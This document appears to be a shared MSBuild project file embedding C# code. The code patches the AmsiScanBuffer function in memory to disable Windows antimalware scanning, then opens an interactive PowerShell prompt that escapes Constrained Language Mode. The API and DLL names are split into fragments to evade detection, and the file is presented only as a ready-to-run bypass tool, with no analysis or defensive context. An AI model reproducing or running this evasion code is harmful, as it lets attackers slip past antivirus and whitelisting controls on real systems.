Created
April 9, 2020 16:49
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<Target Name="Bypass"> | |
<CLMBypass/> | |
</Target> | |
<UsingTask | |
TaskName="CLMBypass" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Reference Include="System.Management.Automation" /> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.IO; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
using System.ComponentModel; | |
using System.Collections.Generic; | |
using System.Collections.ObjectModel; | |
using System.Runtime.InteropServices; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using System.Text; | |
public class CLMBypass : Task, ITask | |
{ | |
[DllImport("kernel32")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
static int Bypass() | |
{ | |
String[] val = { "Am", "si", "Sc", "an", "Buf", "fer" }; | |
String sepe = ""; | |
var concat = String.Join(sepe,val); | |
char[] chars2 = { 'a', 'm', 's', 'i', '.', 'd', 'l', 'l' }; | |
String libName = string.Join("", chars2); | |
IntPtr Address = GetProcAddress(LoadLibrary(libName), concat); | |
UIntPtr size = (UIntPtr)5; | |
uint p = 0; | |
VirtualProtect(Address, size, 0x40, out p); | |
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; | |
Marshal.Copy(Patch, 0, Address, 6); | |
return 0; | |
} | |
public override bool Execute() | |
{ | |
Runspace runspace = RunspaceFactory.CreateRunspace(); | |
runspace.Open(); | |
Bypass(); | |
RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); | |
var command = ""; | |
do | |
{ | |
Console.Write("PS > "); | |
command = Console.ReadLine(); | |
if (!string.IsNullOrEmpty(command)) | |
{ | |
using (Pipeline pipeline = runspace.CreatePipeline()) | |
{ | |
try | |
{ | |
pipeline.Commands.AddScript(command); | |
pipeline.Commands.Add("Out-String"); | |
Collection<PSObject> results = pipeline.Invoke(); | |
StringBuilder stringBuilder = new StringBuilder(); | |
foreach (PSObject obj in results) | |
{ | |
stringBuilder.AppendLine(obj.ToString()); | |
} | |
Console.Write(stringBuilder.ToString()); | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine(e.Message); | |
} | |
} | |
} | |
} | |
while (command != "exit"); | |
return true; | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
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